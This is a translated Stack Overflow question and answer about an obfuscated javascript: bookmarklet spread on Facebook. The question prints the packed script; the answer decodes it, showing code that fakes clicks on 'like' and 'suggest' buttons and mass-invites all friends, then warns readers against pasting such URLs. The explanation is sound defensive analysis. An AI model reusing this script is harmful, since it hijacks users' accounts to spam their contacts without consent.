javascript - 这段 JavaScript 究竟做了什么?

标签 javascript facebook

我看到这个页面在我的 Facebook 社交圈中越来越受欢迎,what 98 percent bla bla...它引导用户将下面的 JavaScript(我添加了一些缩进以使其更具可读性)复制到他们的地址栏中。对我来说看起来很狡猾,但我只有非常基本的 JavaScript 知识。

简单地说,这是做什么的?

javascript:(function(){
a='app120668947950042_jop';
b='app120668947950042_jode';
ifc='app120668947950042_ifc';
ifo='app120668947950042_ifo';
mw='app120668947950042_mwrapper';
eval(function(p,a,c,k,e,r){
    e=function(c){
        return(c<a?'':e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))}
    ;
    if(!''.replace(/^/,String)){
        while(c--)r[e(c)]=k[c]||e(c);
        k=[function(e){
            return r[e]}
        ];
        e=function(){
            return'\\w+'}
        ;
        c=1}
    ;
    while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);
    return p}
('J e=["\\n\\g\\j\\g\\F\\g\\i\\g\\h\\A","\\j\\h\\A\\i\\f","\\o\\f\\h\\q\\i\\f\\r\\f\\k\\h\\K\\A\\L\\t","\\w\\g\\t\\t\\f\\k","\\g\\k\\k\\f\\x\\M\\N\\G\\O","\\n\\l\\i\\y\\f","\\j\\y\\o\\o\\f\\j\\h","\\i\\g\\H\\f\\r\\f","\\G\\u\\y\\j\\f\\q\\n\\f\\k\\h\\j","\\p\\x\\f\\l\\h\\f\\q\\n\\f\\k\\h","\\p\\i\\g\\p\\H","\\g\\k\\g\\h\\q\\n\\f\\k\\h","\\t\\g\\j\\z\\l\\h\\p\\w\\q\\n\\f\\k\\h","\\j\\f\\i\\f\\p\\h\\v\\l\\i\\i","\\j\\o\\r\\v\\g\\k\\n\\g\\h\\f\\v\\P\\u\\x\\r","\\B\\l\\Q\\l\\R\\B\\j\\u\\p\\g\\l\\i\\v\\o\\x\\l\\z\\w\\B\\g\\k\\n\\g\\h\\f\\v\\t\\g\\l\\i\\u\\o\\S\\z\\w\\z","\\j\\y\\F\\r\\g\\h\\T\\g\\l\\i\\u\\o"];
        d=U;
        d[e[2]](V)[e[1]][e[0]]=e[3];
        d[e[2]](a)[e[4]]=d[e[2]](b)[e[5]];
        s=d[e[2]](e[6]);
        m=d[e[2]](e[7]);
        c=d[e[9]](e[8]);
        c[e[11]](e[10],I,I);
        s[e[12]](c);
        C(D(){
            W[e[13]]()}
        ,E);
        C(D(){
            X[e[16]](e[14],e[15])}
        ,E);
        C(D(){
            m[e[12]](c);
            d[e[2]](Y)[e[4]]=d[e[2]](Z)[e[5]]}
        ,E);
        ',62,69,'||||||||||||||_0x95ea|x65|x69|x74|x6C|x73|x6E|x61||x76|x67|x63|x45|x6D||x64|x6F|x5F|x68|x72|x75|x70|x79|x2F|setTimeout|function|5000|x62|x4D|x6B|true|var|x42|x49|x48|x54|x4C|x66|x6A|x78|x2E|x44|document|mw|fs|SocialGraphManager|ifo|ifc|||||||'.split('|'),0,{
}
))})();

最佳答案

我不知道有这么多人对此表示反对。您对打包和其他混淆脚本的怀疑是绝对正确的,尤其是目前影响 FB 应用程序的大量恶意广告。

第一个技巧是用 alert 替换解包器结果上的 eval,这样您就可以看到代码而不是执行它。这给了你一些你可以轻松(但无聊地)手动解码的东西:

document.getElementById('app120668947950042_mwrapper').style.visibility='hidden';        
document.getElementById('app120668947950042_jop').innerHTML=document.getElementById('app120668947950042_jode').value;
s=document.getElementById('suggest');
m=document.getElementById('likeme');
c=document.createEvent('MouseEvents');
c.initEvent('click',true,true);
s.dispatchEvent(c);

setTimeout(function(){
    fs.select_all()
}, 5000);
setTimeout(function(){
    SocialGraphManager.submitDialog('sgm_invite_form','/ajax/social_graph/invite_dialog.php')
}, 5000);
setTimeout(function(){
    m.dispatchEvent(c);
    document.getElementById('app120668947950042_ifo').innerHTML=document.getElementById('app120668947950042_ifc').value
}, 5000);        

这看起来像是假装点击“喜欢”和“建议”按钮(以及随后的对话),绕过了 FB 与网站交互所需的正常控件。

我会向 FB 举报此页面。

一般来说,任何要求您输入 JavaScript URL 的行为都是没有好处的。这就是穷人的 XSS。通过允许某人的代码通过 JS URL 进入页面,您就相信他们可以在您使用该网站时做任何他们想做的事情,正如这个粗略的社会工程尝试所证明的那样。如果很多人都陷入这种困境,那真是令人沮丧。也许浏览器是时候禁止在地址栏中输入 javascript: URL 了。

诅咒你的 Netscape 发明了丑陋的 javascript: not-rely-a-URL hack 以及由此产生的数千个安全漏洞!

关于javascript - 这段 JavaScript 究竟做了什么?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/2731345/

相关文章:

javascript - 从 jsfiddle 测试 Facebook 身份验证

ruby-on-rails - Errno::ECONNRESET:连接被对端重置

javascript - 类型错误 : Attempted to assign to readonly property

Javascript/Jquery 函数

iPhone facebook 连接 FQL 查询获取用户好友

php - 每次都请求 facebook 权限

facebook - 使用 Facebook OAuth 进行 Apache Shiro 身份验证

javascript - 如何从直接调用规则中排除数字较高的自定义事件

单独文件中的 Javascript 不起作用

javascript - 如何使用 jQuery 定位特定的父 div